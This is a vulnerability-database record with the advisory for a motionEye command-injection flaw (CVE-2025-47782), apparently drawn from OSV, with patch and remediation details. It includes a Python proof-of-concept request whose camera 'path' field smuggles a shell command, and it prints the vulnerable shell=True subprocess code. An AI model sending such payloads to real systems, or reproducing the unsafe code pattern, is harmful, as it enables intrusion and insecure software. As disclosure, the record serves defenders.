{"id":"CVE-2025-47782","aliases":["GHSA-g5mq-prx7-c588","PYSEC-2025-39"],"title":"motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution","summary":"motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution","severity":"high","vendor":"motioneye","product":"motioneye","ecosystem":"pip","affected":["motioneye >= 0.43.1b1, < 0.43.1b4"],"patched":["motioneye 0.43.1b4"],"published":"2025-05-15","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:57.453307935Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-g5mq-prx7-c588","references":[{"url":"https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47782"},{"url":"https://github.com/motioneye-project/motioneye/issues/3142"},{"url":"https://github.com/motioneye-project/motioneye/pull/3143"},{"url":"https://github.com/motioneye-project/motioneye"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"}],"tags":["osv","pip"],"epss":0.00487,"epssPercentile":0.39277,"ingestedAt":"2026-09-12T03:13:01.694Z","slug":"CVE-2025-47782","body":"## Overview\n\n### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date '+%Y%m%d-%H%M')\"\n\ndocker build \\\n --network host \\\n --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n --no-cache \\\n -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm -d -p 8765:8765 --hostname=\"motioneye\" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n INFO: hello! this is motionEye server 0.43.1b3\n DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n DEBUG: listing config dir /etc/motioneye...\n DEBUG: found camera with id 1\n DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n DEBUG: loading additional config structure for camera, without separators\n DEBUG: Using selector: EpollSelector\n DEBUG: searching motion executable\n DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n INFO: cleanup started\n INFO: wsswitch started\n INFO: tasks started\n INFO: mjpg customer garbage collector has started\n INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n \"proto\": \"v4l2\",\n \"path\": \"' `touch /tmp/bbbb` '\"\n})\nheaders = {\n 'Content-Type': 'application/json'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\"Image\"\n\n\"Image\"\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n from motioneye import motionctl\n\n device = utils.make_str(device)\n\n if device in _resolutions_cache:\n return _resolutions_cache[device]\n\n logging.debug(f'listing resolutions of device {device}...')\n\n resolutions = set()\n output = b''\n started = time.time()\n cmd = f\"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true\"\n logging.debug(f'running command \"{cmd}\"')\n\n try:\n output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n except:\n logging.error(f'failed to list resolutions of device \"{device}\"')\n\n output = utils.make_str(output)\n\ndef call_subprocess(\n args,\n stdin=None,\n input=None,\n stdout=subprocess.PIPE,\n stderr=DEV_NULL,\n capture_output=False,\n shell=False,\n cwd=None,\n timeout=None,\n check=True,\n encoding='utf-8',\n errors=None,\n text=None,\n env=None,\n) -> str:\n \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n return subprocess.run(\n args,\n stdin=stdin,\n input=input,\n stdout=stdout,\n stderr=stderr,\n capture_output=capture_output,\n shell=shell,\n cwd=cwd,\n timeout=timeout,\n check=check,\n encoding=encoding,\n errors=errors,\n text=text,\n env=env,\n ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.\n\n## Affected packages\n\n- `motioneye >= 0.43.1b1, < 0.43.1b4`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `motioneye 0.43.1b4`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}